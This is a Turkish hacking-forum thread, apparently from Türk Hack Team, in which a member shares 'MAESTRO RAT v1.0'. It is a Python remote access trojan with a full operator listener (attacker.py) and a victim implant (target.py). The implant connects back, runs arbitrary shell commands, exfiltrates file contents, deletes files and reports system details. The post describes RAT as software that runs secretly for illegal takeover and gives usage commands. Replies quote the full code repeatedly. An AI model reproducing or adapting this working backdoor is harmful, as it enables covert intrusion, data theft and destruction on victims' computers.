    network_info = ""
    duplex_map = {
        psutil.NIC_DUPLEX_FULL: "full",
        psutil.NIC_DUPLEX_HALF: "half",
        psutil.NIC_DUPLEX_UNKNOWN: "?",
    }
    af_map = {
        socket.AF_INET: 'IPv4',
        socket.AF_INET6: 'IPv6',
    }
  
    interfaces = psutil.net_if_addrs()
  
    for interface, addresses in interfaces.items():
        network_info += f"Ağ Arayüzü: {interface}\n"
        for addr in addresses:
            network_info += f"  Adres Türü: {af_map.get(addr.family, addr.family)}\n"
            network_info += f"  Adres: {addr.address}\n"
            if addr.broadcast:
                network_info += f"    Yayın Adresi: {addr.broadcast}\n"
            if addr.netmask:
                network_info += f"    Ağ Maskesi: {addr.netmask}\n"
  
    return network_info
  

  
def execute_command(command):
    try:
        result = subprocess.run(command, shell=True, capture_output=True, text=True)
        if result.returncode == 0:
            return result.stdout.strip()
        else:
            return f"Error: {result.stderr.strip()}"
    except Exception as e:
        return f"Error: {str(e)}"

def main():
    ip = input("Sunucunun IP adresini giriniz: ")
    port = int(input("Bağlanmak istediğiniz port numarasını giriniz: "))

    while True:
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
            s.connect((ip, port))
            print("Sunucuya bağlanıldı.")
          
            while True:
                command = s.recv(4096).decode()
              
                if command.strip() == 'exit':
                    break

                elif command.strip() == 'execute':
                    komut = s.recv(4096).decode()
                    output = execute_command(komut)
                    s.send(output.encode())

                elif command.strip().startswith('cat'):
                    dosya_adi = command.split(" ")[1]
                    try:
                        with open(dosya_adi, "r") as dosya:
                            icerik = dosya.read()
                        s.sendall(icerik.encode())
                    except FileNotFoundError:
                        s.send("Dosya bulunamadı".encode())
                    except Exception as e:
                        s.send(f"Hata: {str(e)}".encode())

                elif command.strip().startswith('rm') or command.strip().startswith('rm -r'):
                    dosya_adi = command.split(" ")[1]
                    try:
                        os.remove(dosya_adi)
                        s.send(f"{dosya_adi} başarıyla silindi.".encode())
                    except FileNotFoundError:
                        s.send(f"{dosya_adi} bulunamadı".encode())
                    except Exception as e:
                        s.send(f"Hata: {str(e)}".encode())
                      
                elif command.strip().startswith('ls') or command.strip().startswith('dir'):
                    dosyalar = os.listdir()
                    if dosyalar:
                        s.send("\n".join(dosyalar).encode())
                    else:
                        s.send("Dizin boş".encode())

                elif command.strip().startswith('cd'):
                    hedefklasor = command.split(" ")[1]
                    try:
                        os.chdir(hedefklasor)
                        s.send(f"Dizin değiştirildi: {os.getcwd()}".encode())
                    except FileNotFoundError:
                        s.send("Hata: Dizin bulunamadı".encode())
                    except Exception as e:
                        s.send(f"Hata: {str(e)}".encode())

                elif command.strip().startswith('mkdir'):
                    hedefklasor = command.split(" ")[1]
                    try:
                        os.mkdir(hedefklasor)
                        s.send(f"{hedefklasor} başarıyla oluşturuldu.".encode())
                    except FileExistsError:
                        s.send(f"{hedefklasor} zaten var.".encode())
                    except Exception as e:
                        s.send(f"Hata: {str(e)}".encode())
                      
                      
                elif command.strip().startswith("touch") or command.strip().startswith("type nul >"):
                    dosyaisim = command.split(" ")[1]
                    with open(dosyaisim, "w") as dosya:
                        pass
                      
                      
                    s.send("Dosya Oluşturuldu.".encode())
              
                elif command.strip().startswith("echo"):
                    komut_parcalari = command.split(" ")
                    dosya_isim_index = komut_parcalari.index(">>") + 1
                    dosya_isim = komut_parcalari[dosya_isim_index]
                    metin = " ".join(komut_parcalari[1:dosya_isim_index-1])
                    with open(dosya_isim, "a") as dosya:
                        dosya.write(metin)
                        s.send("Metin dosya sonuna eklendi.".encode())

                      
                elif command.strip().startswith("whoami"):
                    cikti = subprocess.run(['whoami'], capture_output=True, text=True)
                    s.send(cikti.stdout.encode())
                  
                elif command.strip().startswith("ifconfig"):
                    x = get_network_info()
                    s.send(x.encode())
                  
                elif command.strip().startswith("cpu"):
                    x = get_cpu_info()
                    s.send(x.encode())
                  
                elif command.strip().startswith("memory"):
                    x = get_memory_info()
                    s.send(x.encode())
                  
                elif command.strip() == 'osinfo':
                    os_info = get_os_info()
                    s.send(str(os_info).encode())

                                                      

            else:
[HEADING=1]                s.send("Geçersiz komut.".encode())[/HEADING]
  
    print("Bağlantı kesildi.")

if __name__ == "__main__":
    main()

Nasıl Kullanılır?
Python:
python3 attacker.py -lhost (ip) -lport (port)

Komutlar


1.exit > Sunucu bağlantısını sonlandırır.

2. execute > Belirli bir terminal komutunu sunucuda çalıştırır.

3.cat [dosya_adı] > Belirtilen dosyanın içeriğini sunucudan istemciye gönderir.

4.rm veya rm -r [dosya_adı] > Belirtilen dosyayı veya dizini siler.

5. ls veya dir Sunucudaki mevcut dizinin içeriğini listeler.

6.cd çalışma dizinini değiştirir.

7.mkdir [klasör_adı] > Yeni bir klasör oluşturur.

8.touch veya type nul > [dosya_adı] > Yeni bir dosya oluşturur.

9.echo [metin] >> [dosya_adı] > Belirtilen dosyanın sonuna metin ekler.

10.whoami > oturum açmış kullanıcıyı döndürür.

11.ifconfig > ağ bilgilerini döndürür.

12.cpu > CPU bilgilerini döndürür.

13.memory > bellek kullanım bilgilerini döndür

14. osinfo > işletim sistemi bilgilerini döndürür.

Araç'tan Görüntüler ;

kigqh6q.jpg

cat & ls & cd

5pukxw4.jpg


Diğer komutlarda sorunsuz çalışmaktadır.

Not : Bu araç 'Linux' işletim sisteminde test edilmiştir.

Githubdan görüntülemek veya indirmek isterseniz ;

Buraya Tıklayabilirsiniz

Okuyan Herkese Teşekkürler.

Sağlıcakla Kalın 👋


pDHFoUY.png

Lhost yerine hedef ip yimi yazıyoz kendi ipmizimi

Ayrıca eline sağlık
 

Maroaa

Moderasyon Ekibi Çaylak
13 Mar 2023
116
41

q39y8g3.png

İyi forumlar Türk Hack Team

Bugün Python ile yazdığım 14 fonksiyonlu backdoor tabanlı uzaktan erişim ( rat ) aracımdan bahsedeceğim.

Rat (Remote Acces Trojan) Nedir ?
Bir cihazda (bilgisayar, telefon, tablet vb.) arka planda, cihaz sahibinin bilgisi dışında -gizlice- çalışan ve cihazın içindeki bilgilerin başka kişilerce 'yasa dışı bir şekilde' ele geçirilmesine veya cihazın yasa dışı işlemlerde kullanılmasına yardım eden trojan'ların genel ismidir.

Backdoor (Arka Kapı) Nedir?

bilgisayar sistemlerinin normal güvenliğini veya şifrelemesini es geçen, genellikle gizli bir yöntemdir. Bu sayede bilgisayar sistemi yetkisiz erişim ve işlemlere açık hale gelir.

TCP (Transmission Control Protocol) Nedir?

Bu metot sayesinde internete bağlanan tüm cihazlar birbirleri ile haberleşebilir. Bir ağa bağlanan bilgisayarlar veri iletmek ve almak için birbirleri arasında TCP/IP protokolü ile haberleşmektedir. Kısacası TCP/IP protokolü, bilgisayarlar arası veri iletişiminin kurallarını koyan bir iletişim protokolleri bütünüdür.


MAESTRO RAT v1.0

attacker.py

Python:
import socket
import argparse
from colorama import Fore, Style

print(Fore.RED + """
    ⠀
    ⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⣿⣷⣦⣄       
    ⠀⠀⣀⣤⣶⣶⣦⣄⠀⠈⣿⣿⣿⣿⡆           
    ⠶⣿⣿⣿⣿⣿⣿⣿⣿⣦⣿⣿⣿⣿⣷                
    ⠀⠈⠙⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⣄                     
    ⠀⠀⠀⠀⠙⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣀⣤⣤⣤⡤             
    ⠀⠀⢀⣠⣤⣼⣿⣿⣿⣿⣿⣿⣿⡿⣿⣿⣿⣿⣿⣿⣿⣿⣥⣤⣤ created by ramo
    ⠐⠺⠿⢿⣿⣿⣿⣿⣿⡏⢸⡿⠋⠀⣼⠏⣿⣿⣿⣿⡿⠟⠉
    ⠀⠀⠀⠀⠀⠀⠀⠀⠈⠢⣄⣀⡠⠞⠁ """)

print(Fore.RED + """
       MAESTRO RAT v1.0
      
      
                       """)

def print_command_list():
    print(f"{Fore.GREEN}Backdoor Komut Listesi:{Style.RESET_ALL}")
    print(f"1. {Fore.CYAN}exit{Style.RESET_ALL}: Sunucu bağlantısını sonlandırır.")
    print(f"2. {Fore.CYAN}execute{Style.RESET_ALL}: Belirli bir terminal komutunu sunucuda çalıştırır.")
    print(f"3. {Fore.CYAN}cat [dosya_adı]{Style.RESET_ALL}: Belirtilen dosyanın içeriğini sunucudan istemciye gönderir.")
    print(f"4. {Fore.CYAN}rm [dosya_adı]{Style.RESET_ALL} veya {Fore.CYAN}rm -r [dosya_adı]{Style.RESET_ALL}: Belirtilen dosyayı veya dizini siler.")
    print(f"5. {Fore.CYAN}ls{Style.RESET_ALL} veya {Fore.CYAN}dir{Style.RESET_ALL}: Sunucudaki mevcut dizinin içeriğini listeler.")
    print(f"6. {Fore.CYAN}cd [hedef_klasör]{Style.RESET_ALL}: Sunucudaki çalışma dizinini değiştirir.")
    print(f"7. {Fore.CYAN}mkdir [klasör_adı]{Style.RESET_ALL}: Yeni bir klasör oluşturur.")
    print(f"8. {Fore.CYAN}touch [dosya_adı]{Style.RESET_ALL} veya {Fore.CYAN}type nul > [dosya_adı]{Style.RESET_ALL}: Yeni bir dosya oluşturur.")
    print(f"9. {Fore.CYAN}echo [metin] >> [dosya_adı]{Style.RESET_ALL}: Belirtilen dosyanın sonuna metin ekler.")
    print(f"10. {Fore.CYAN}whoami{Style.RESET_ALL}: Sunucuda oturum açmış kullanıcıyı döndürür.")
    print(f"11. {Fore.CYAN}ifconfig{Style.RESET_ALL}: Sunucunun ağ bilgilerini döndürür.")
    print(f"12. {Fore.CYAN}cpu{Style.RESET_ALL}: Sunucunun CPU bilgilerini döndürür.")
    print(f"13. {Fore.CYAN}memory{Style.RESET_ALL}: Sunucunun bellek kullanım bilgilerini döndürür.")
    print(f"14. {Fore.CYAN}osinfo{Style.RESET_ALL}: Sunucunun işletim sistemi bilgilerini döndürür.")

def main():
    parser = argparse.ArgumentParser(description='MAESTRO RAT v1.0 - Arka Kapı')
    parser.add_argument('-lhost', dest='ip', help='Hedef IP adresi', required=True)
    parser.add_argument('-lport', dest='port', help='Hedef port numarası', required=True)
    args = parser.parse_args()

    ip = args.ip
    port = int(args.port)
   
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.bind((ip, port)) 
        s.listen(1) 
        print(f"{Fore.RED}{ip}:{port} dinleniyor...")

        conn, addr = s.accept() 
        print(f"{Fore.GREEN}Bağlantı alındı: {addr}")

       
        print_command_list()

        while True:
            komut = input("Komutu giriniz ('exit' yazarak çıkabilirsiniz): ")
            conn.send(komut.encode())

            if komut == 'exit':
                break

            if komut.strip() == 'execute': 
                print("Lütfen 'execute' komutu için bir komut girin:")
                islem = input()
                conn.send(islem.encode())
            else:
                received_data = conn.recv(8192) 
                print(received_data.decode(errors='ignore'))

        conn.close()

if __name__ == "__main__":
    main()



target.py
Python:
import socket
import subprocess
import os
import psutil
from psutil._common import bytes2human
import platform
import pyautogui

def get_os_info():
    os_info = """
platform: platform.system(),
version: platform.version()
   
    """
   
    return os_info


def get_cpu_info():
    cpu_info = ""
    for num, percent in enumerate(psutil.cpu_percent(percpu=True)):
        cpu_info += f"CPU{num}: {percent}%\n"
    return cpu_info

def get_memory_info():
    memory_info = ""
    for part in psutil.disk_partitions(all=False):
        if os.name == "nt" and ('cdrom' in part.opts or not part.fstype):
            usage = psutil.disk_usage(part.mountpoint)
            memory_info += f"Device: {part.device}, Total: {bytes2human(usage.total)}, Used: {bytes2human(usage.used)}, Free: {bytes2human(usage.free)}, Use: {usage.percent}%\n"
        elif os.name == "posix" and ('mount' in part.opts or not part.fstype):
            usage = psutil.disk_usage(part.mountpoint)
            memory_info += f"Device: {part.device}, Total: {bytes2human(usage.total)}, Used: {bytes2human(usage.used)}, Free: {bytes2human(usage.free)}, Use: {usage.percent}%\n"
    return memory_info



def get_network_info():
    network_info = ""
    duplex_map = {
        psutil.NIC_DUPLEX_FULL: "full",
        psutil.NIC_DUPLEX_HALF: "half",
        psutil.NIC_DUPLEX_UNKNOWN: "?",
    }
    af_map = {
        socket.AF_INET: 'IPv4',
        socket.AF_INET6: 'IPv6',
    }
   
    interfaces = psutil.net_if_addrs()
   
    for interface, addresses in interfaces.items():
        network_info += f"Ağ Arayüzü: {interface}\n"
        for addr in addresses:
            network_info += f"  Adres Türü: {af_map.get(addr.family, addr.family)}\n"
            network_info += f"  Adres: {addr.address}\n"
            if addr.broadcast:
                network_info += f"    Yayın Adresi: {addr.broadcast}\n"
            if addr.netmask:
                network_info += f"    Ağ Maskesi: {addr.netmask}\n"
   
    return network_info
   

   
def execute_command(command):
    try:
        result = subprocess.run(command, shell=True, capture_output=True, text=True)
        if result.returncode == 0:
            return result.stdout.strip()
        else:
            return f"Error: {result.stderr.strip()}"
    except Exception as e:
        return f"Error: {str(e)}"

def main():
    ip = input("Sunucunun IP adresini giriniz: ")
    port = int(input("Bağlanmak istediğiniz port numarasını giriniz: "))

    while True:
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
            s.connect((ip, port))
            print("Sunucuya bağlanıldı.")
           
            while True:
                command = s.recv(4096).decode()
               
                if command.strip() == 'exit':
                    break

                elif command.strip() == 'execute':
                    komut = s.recv(4096).decode()
                    output = execute_command(komut)
                    s.send(output.encode())

                elif command.strip().startswith('cat'):
                    dosya_adi = command.split(" ")[1]
                    try:
                        with open(dosya_adi, "r") as dosya:
                            icerik = dosya.read()
                        s.sendall(icerik.encode())
                    except FileNotFoundError:
                        s.send("Dosya bulunamadı".encode())
                    except Exception as e:
                        s.send(f"Hata: {str(e)}".encode())

                elif command.strip().startswith('rm') or command.strip().startswith('rm -r'):
                    dosya_adi = command.split(" ")[1]
                    try:
                        os.remove(dosya_adi)
                        s.send(f"{dosya_adi} başarıyla silindi.".encode())
                    except FileNotFoundError:
                        s.send(f"{dosya_adi} bulunamadı".encode())
                    except Exception as e:
                        s.send(f"Hata: {str(e)}".encode())
                       
                elif command.strip().startswith('ls') or command.strip().startswith('dir'):
                    dosyalar = os.listdir()
                    if dosyalar:
                        s.send("\n".join(dosyalar).encode())
                    else:
                        s.send("Dizin boş".encode())

                elif command.strip().startswith('cd'):
                    hedefklasor = command.split(" ")[1]
                    try:
                        os.chdir(hedefklasor)
                        s.send(f"Dizin değiştirildi: {os.getcwd()}".encode())
                    except FileNotFoundError:
                        s.send("Hata: Dizin bulunamadı".encode())
                    except Exception as e:
                        s.send(f"Hata: {str(e)}".encode())

                elif command.strip().startswith('mkdir'):
                    hedefklasor = command.split(" ")[1]
                    try:
                        os.mkdir(hedefklasor)
                        s.send(f"{hedefklasor} başarıyla oluşturuldu.".encode())
                    except FileExistsError:
                        s.send(f"{hedefklasor} zaten var.".encode())
                    except Exception as e:
                        s.send(f"Hata: {str(e)}".encode())
                       
                       
                elif command.strip().startswith("touch") or command.strip().startswith("type nul >"):
                    dosyaisim = command.split(" ")[1]
                    with open(dosyaisim, "w") as dosya:
                        pass
                       
                       
                    s.send("Dosya Oluşturuldu.".encode())
               
                elif command.strip().startswith("echo"):
                    komut_parcalari = command.split(" ")
                    dosya_isim_index = komut_parcalari.index(">>") + 1
                    dosya_isim = komut_parcalari[dosya_isim_index]
                    metin = " ".join(komut_parcalari[1:dosya_isim_index-1])
                    with open(dosya_isim, "a") as dosya:
                        dosya.write(metin)
                        s.send("Metin dosya sonuna eklendi.".encode())

                       
                elif command.strip().startswith("whoami"):
                    cikti = subprocess.run(['whoami'], capture_output=True, text=True)
                    s.send(cikti.stdout.encode())
                   
                elif command.strip().startswith("ifconfig"):
                    x = get_network_info()
                    s.send(x.encode())
                   
                elif command.strip().startswith("cpu"):
                    x = get_cpu_info()
                    s.send(x.encode())
                   
                elif command.strip().startswith("memory"):
                    x = get_memory_info()
                    s.send(x.encode())
                   
                elif command.strip() == 'osinfo':
                    os_info = get_os_info()
                    s.send(str(os_info).encode())

                                                       

            else:
[HEADING=1]                s.send("Geçersiz komut.".encode())[/HEADING]
   
    print("Bağlantı kesildi.")

if __name__ == "__main__":
    main()

Nasıl Kullanılır?
Python:
python3 attacker.py -lhost (ip) -lport (port)

Komutlar


1.exit > Sunucu bağlantısını sonlandırır.

2. execute > Belirli bir terminal komutunu sunucuda çalıştırır.

3.cat [dosya_adı] > Belirtilen dosyanın içeriğini sunucudan istemciye gönderir.

4.rm veya rm -r [dosya_adı] > Belirtilen dosyayı veya dizini siler.

5. ls veya dir Sunucudaki mevcut dizinin içeriğini listeler.

6.cd çalışma dizinini değiştirir.

7.mkdir [klasör_adı] > Yeni bir klasör oluşturur.

8.touch veya type nul > [dosya_adı] > Yeni bir dosya oluşturur.

9.echo [metin] >> [dosya_adı] > Belirtilen dosyanın sonuna metin ekler.

10.whoami > oturum açmış kullanıcıyı döndürür.

11.ifconfig > ağ bilgilerini döndürür.

12.cpu > CPU bilgilerini döndürür.

13.memory > bellek kullanım bilgilerini döndür

14. osinfo > işletim sistemi bilgilerini döndürür.

Araç'tan Görüntüler ;

kigqh6q.jpg

cat & ls & cd

5pukxw4.jpg


Diğer komutlarda sorunsuz çalışmaktadır.

Not : Bu araç 'Linux' işletim sisteminde test edilmiştir.

Githubdan görüntülemek veya indirmek isterseniz ;

Buraya Tıklayabilirsiniz

Okuyan Herkese Teşekkürler.

Sağlıcakla Kalın 👋


pDHFoUY.png

eline sağlık
 

Carlonhack

Uzman üye
20 Şub 2022
1,313
333
Konuyla alakasız fakat şu toolardaki bannerları nasıl yapıyorsunuz bir resmi bannera çevirebilirmiyim
 

yosabe06

Üye
19 Ağu 2016
73
33
Güzel fakat geliştirilebilir diye düşünüyorum.
Kodlara bakarken sanırım programı hackledim.
(Thread kullan)
 

UmutSuzDum

Katılımcı Üye
1 Ara 2018
641
151
Yeni Zelanda

q39y8g3.png

İyi forumlar Türk Hack Team

Bugün Python ile yazdığım 14 fonksiyonlu backdoor tabanlı uzaktan erişim ( rat ) aracımdan bahsedeceğim.

Rat (Remote Acces Trojan) Nedir ?
Bir cihazda (bilgisayar, telefon, tablet vb.) arka planda, cihaz sahibinin bilgisi dışında -gizlice- çalışan ve cihazın içindeki bilgilerin başka kişilerce 'yasa dışı bir şekilde' ele geçirilmesine veya cihazın yasa dışı işlemlerde kullanılmasına yardım eden trojan'ların genel ismidir.

Backdoor (Arka Kapı) Nedir?

bilgisayar sistemlerinin normal güvenliğini veya şifrelemesini es geçen, genellikle gizli bir yöntemdir. Bu sayede bilgisayar sistemi yetkisiz erişim ve işlemlere açık hale gelir.

TCP (Transmission Control Protocol) Nedir?

Bu metot sayesinde internete bağlanan tüm cihazlar birbirleri ile haberleşebilir. Bir ağa bağlanan bilgisayarlar veri iletmek ve almak için birbirleri arasında TCP/IP protokolü ile haberleşmektedir. Kısacası TCP/IP protokolü, bilgisayarlar arası veri iletişiminin kurallarını koyan bir iletişim protokolleri bütünüdür.


MAESTRO RAT v1.0

attacker.py

Python:
import socket
import argparse
from colorama import Fore, Style

print(Fore.RED + """
    ⠀
    ⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⣿⣷⣦⣄   
    ⠀⠀⣀⣤⣶⣶⣦⣄⠀⠈⣿⣿⣿⣿⡆       
    ⠶⣿⣿⣿⣿⣿⣿⣿⣿⣦⣿⣿⣿⣿⣷            
    ⠀⠈⠙⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⣄                 
    ⠀⠀⠀⠀⠙⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣀⣤⣤⣤⡤         
    ⠀⠀⢀⣠⣤⣼⣿⣿⣿⣿⣿⣿⣿⡿⣿⣿⣿⣿⣿⣿⣿⣿⣥⣤⣤ created by ramo
    ⠐⠺⠿⢿⣿⣿⣿⣿⣿⡏⢸⡿⠋⠀⣼⠏⣿⣿⣿⣿⡿⠟⠉
    ⠀⠀⠀⠀⠀⠀⠀⠀⠈⠢⣄⣀⡠⠞⠁ """)

print(Fore.RED + """
       MAESTRO RAT v1.0
  
  
                       """)

def print_command_list():
    print(f"{Fore.GREEN}Backdoor Komut Listesi:{Style.RESET_ALL}")
    print(f"1. {Fore.CYAN}exit{Style.RESET_ALL}: Sunucu bağlantısını sonlandırır.")
    print(f"2. {Fore.CYAN}execute{Style.RESET_ALL}: Belirli bir terminal komutunu sunucuda çalıştırır.")
    print(f"3. {Fore.CYAN}cat [dosya_adı]{Style.RESET_ALL}: Belirtilen dosyanın içeriğini sunucudan istemciye gönderir.")
    print(f"4. {Fore.CYAN}rm [dosya_adı]{Style.RESET_ALL} veya {Fore.CYAN}rm -r [dosya_adı]{Style.RESET_ALL}: Belirtilen dosyayı veya dizini siler.")
    print(f"5. {Fore.CYAN}ls{Style.RESET_ALL} veya {Fore.CYAN}dir{Style.RESET_ALL}: Sunucudaki mevcut dizinin içeriğini listeler.")
    print(f"6. {Fore.CYAN}cd [hedef_klasör]{Style.RESET_ALL}: Sunucudaki çalışma dizinini değiştirir.")
    print(f"7. {Fore.CYAN}mkdir [klasör_adı]{Style.RESET_ALL}: Yeni bir klasör oluşturur.")
    print(f"8. {Fore.CYAN}touch [dosya_adı]{Style.RESET_ALL} veya {Fore.CYAN}type nul > [dosya_adı]{Style.RESET_ALL}: Yeni bir dosya oluşturur.")
    print(f"9. {Fore.CYAN}echo [metin] >> [dosya_adı]{Style.RESET_ALL}: Belirtilen dosyanın sonuna metin ekler.")
    print(f"10. {Fore.CYAN}whoami{Style.RESET_ALL}: Sunucuda oturum açmış kullanıcıyı döndürür.")
    print(f"11. {Fore.CYAN}ifconfig{Style.RESET_ALL}: Sunucunun ağ bilgilerini döndürür.")
    print(f"12. {Fore.CYAN}cpu{Style.RESET_ALL}: Sunucunun CPU bilgilerini döndürür.")
    print(f"13. {Fore.CYAN}memory{Style.RESET_ALL}: Sunucunun bellek kullanım bilgilerini döndürür.")
    print(f"14. {Fore.CYAN}osinfo{Style.RESET_ALL}: Sunucunun işletim sistemi bilgilerini döndürür.")

def main():
    parser = argparse.ArgumentParser(description='MAESTRO RAT v1.0 - Arka Kapı')
    parser.add_argument('-lhost', dest='ip', help='Hedef IP adresi', required=True)
    parser.add_argument('-lport', dest='port', help='Hedef port numarası', required=True)
    args = parser.parse_args()

    ip = args.ip
    port = int(args.port)
 
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.bind((ip, port))
        s.listen(1)
        print(f"{Fore.RED}{ip}:{port} dinleniyor...")

        conn, addr = s.accept()
        print(f"{Fore.GREEN}Bağlantı alındı: {addr}")

   
        print_command_list()

        while True:
            komut = input("Komutu giriniz ('exit' yazarak çıkabilirsiniz): ")
            conn.send(komut.encode())

            if komut == 'exit':
                break

            if komut.strip() == 'execute':
                print("Lütfen 'execute' komutu için bir komut girin:")
                islem = input()
                conn.send(islem.encode())
            else:
                received_data = conn.recv(8192)
                print(received_data.decode(errors='ignore'))

        conn.close()

if __name__ == "__main__":
    main()



target.py
Python:
import socket
import subprocess
import os
import psutil
from psutil._common import bytes2human
import platform
import pyautogui

def get_os_info():
    os_info = """
platform: platform.system(),
version: platform.version()
 
    """
 
    return os_info


def get_cpu_info():
    cpu_info = ""
    for num, percent in enumerate(psutil.cpu_percent(percpu=True)):
        cpu_info += f"CPU{num}: {percent}%\n"
    return cpu_info

def get_memory_info():
    memory_info = ""
    for part in psutil.disk_partitions(all=False):
        if os.name == "nt" and ('cdrom' in part.opts or not part.fstype):
            usage = psutil.disk_usage(part.mountpoint)
            memory_info += f"Device: {part.device}, Total: {bytes2human(usage.total)}, Used: {bytes2human(usage.used)}, Free: {bytes2human(usage.free)}, Use: {usage.percent}%\n"
        elif os.name == "posix" and ('mount' in part.opts or not part.fstype):
            usage = psutil.disk_usage(part.mountpoint)
            memory_info += f"Device: {part.device}, Total: {bytes2human(usage.total)}, Used: {bytes2human(usage.used)}, Free: {bytes2human(usage.free)}, Use: {usage.percent}%\n"
    return memory_info



def get_network_info():
    network_info = ""
    duplex_map = {
        psutil.NIC_DUPLEX_FULL: "full",
        psutil.NIC_DUPLEX_HALF: "half",
        psutil.NIC_DUPLEX_UNKNOWN: "?",
    }
    af_map = {
        socket.AF_INET: 'IPv4',
        socket.AF_INET6: 'IPv6',
    }
 
    interfaces = psutil.net_if_addrs()
 
    for interface, addresses in interfaces.items():
        network_info += f"Ağ Arayüzü: {interface}\n"
        for addr in addresses:
            network_info += f"  Adres Türü: {af_map.get(addr.family, addr.family)}\n"
            network_info += f"  Adres: {addr.address}\n"
            if addr.broadcast:
                network_info += f"    Yayın Adresi: {addr.broadcast}\n"
            if addr.netmask:
                network_info += f"    Ağ Maskesi: {addr.netmask}\n"
 
    return network_info
 

 
def execute_command(command):
    try:
        result = subprocess.run(command, shell=True, capture_output=True, text=True)
        if result.returncode == 0:
            return result.stdout.strip()
        else:
            return f"Error: {result.stderr.strip()}"
    except Exception as e:
        return f"Error: {str(e)}"

def main():
    ip = yourip
    port = yourport

    while True:
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
            s.connect((ip, port))
            print("Sunucuya bağlanıldı.")
       
            while True:
                command = s.recv(4096).decode()
           
                if command.strip() == 'exit':
                    break

                elif command.strip() == 'execute':
                    komut = s.recv(4096).decode()
                    output = execute_command(komut)
                    s.send(output.encode())

                elif command.strip().startswith('cat'):
                    dosya_adi = command.split(" ")[1]
                    try:
                        with open(dosya_adi, "r") as dosya:
                            icerik = dosya.read()
                        s.sendall(icerik.encode())
                    except FileNotFoundError:
                        s.send("Dosya bulunamadı".encode())
                    except Exception as e:
                        s.send(f"Hata: {str(e)}".encode())

                elif command.strip().startswith('rm') or command.strip().startswith('rm -r'):
                    dosya_adi = command.split(" ")[1]
                    try:
                        os.remove(dosya_adi)
                        s.send(f"{dosya_adi} başarıyla silindi.".encode())
                    except FileNotFoundError:
                        s.send(f"{dosya_adi} bulunamadı".encode())
                    except Exception as e:
                        s.send(f"Hata: {str(e)}".encode())
                   
                elif command.strip().startswith('ls') or command.strip().startswith('dir'):
                    dosyalar = os.listdir()
                    if dosyalar:
                        s.send("\n".join(dosyalar).encode())
                    else:
                        s.send("Dizin boş".encode())

                elif command.strip().startswith('cd'):
                    hedefklasor = command.split(" ")[1]
                    try:
                        os.chdir(hedefklasor)
                        s.send(f"Dizin değiştirildi: {os.getcwd()}".encode())
                    except FileNotFoundError:
                        s.send("Hata: Dizin bulunamadı".encode())
                    except Exception as e:
                        s.send(f"Hata: {str(e)}".encode())

                elif command.strip().startswith('mkdir'):
                    hedefklasor = command.split(" ")[1]
                    try:
                        os.mkdir(hedefklasor)
                        s.send(f"{hedefklasor} başarıyla oluşturuldu.".encode())
                    except FileExistsError:
                        s.send(f"{hedefklasor} zaten var.".encode())
                    except Exception as e:
                        s.send(f"Hata: {str(e)}".encode())
                   
                   
                elif command.strip().startswith("touch") or command.strip().startswith("type nul >"):
                    dosyaisim = command.split(" ")[1]
                    with open(dosyaisim, "w") as dosya:
                        pass
                   
                   
                    s.send("Dosya Oluşturuldu.".encode())
           
                elif command.strip().startswith("echo"):
                    komut_parcalari = command.split(" ")
                    dosya_isim_index = komut_parcalari.index(">>") + 1
                    dosya_isim = komut_parcalari[dosya_isim_index]
                    metin = " ".join(komut_parcalari[1:dosya_isim_index-1])
                    with open(dosya_isim, "a") as dosya:
                        dosya.write(metin)
                        s.send("Metin dosya sonuna eklendi.".encode())

                   
                elif command.strip().startswith("whoami"):
                    cikti = subprocess.run(['whoami'], capture_output=True, text=True)
                    s.send(cikti.stdout.encode())
               
                elif command.strip().startswith("ifconfig"):
                    x = get_network_info()
                    s.send(x.encode())
               
                elif command.strip().startswith("cpu"):
                    x = get_cpu_info()
                    s.send(x.encode())
               
                elif command.strip().startswith("memory"):
                    x = get_memory_info()
                    s.send(x.encode())
               
                elif command.strip() == 'osinfo':
                    os_info = get_os_info()
                    s.send(str(os_info).encode())

                                                   

                else:
                   s.send("Geçersiz komut.".encode())
 
    print("Bağlantı kesildi.")

if __name__ == "__main__":
    main()

Nasıl Kullanılır?
Python:
python3 attacker.py -lhost (ip) -lport (port)

Komutlar


1.exit > Sunucu bağlantısını sonlandırır.

2. execute > Belirli bir terminal komutunu sunucuda çalıştırır.

3.cat [dosya_adı] > Belirtilen dosyanın içeriğini sunucudan istemciye gönderir.

4.rm veya rm -r [dosya_adı] > Belirtilen dosyayı veya dizini siler.

5. ls veya dir Sunucudaki mevcut dizinin içeriğini listeler.

6.cd çalışma dizinini değiştirir.

7.mkdir [klasör_adı] > Yeni bir klasör oluşturur.

8.touch veya type nul > [dosya_adı] > Yeni bir dosya oluşturur.

9.echo [metin] >> [dosya_adı] > Belirtilen dosyanın sonuna metin ekler.

10.whoami > oturum açmış kullanıcıyı döndürür.

11.ifconfig > ağ bilgilerini döndürür.

12.cpu > CPU bilgilerini döndürür.

13.memory > bellek kullanım bilgilerini döndür

14. osinfo > işletim sistemi bilgilerini döndürür.

Araç'tan Görüntüler ;

kigqh6q.jpg

cat & ls & cd

5pukxw4.jpg


Diğer komutlarda sorunsuz çalışmaktadır.

Not : Bu araç 'Linux' işletim sisteminde test edilmiştir.

Githubdan görüntülemek veya indirmek isterseniz ;

Buraya Tıklayabilirsiniz

Okuyan Herkese Teşekkürler.

Sağlıcakla Kalın 👋


pDHFoUY.png

güzel bir multiclient c2 ye benziyor
 
Üst

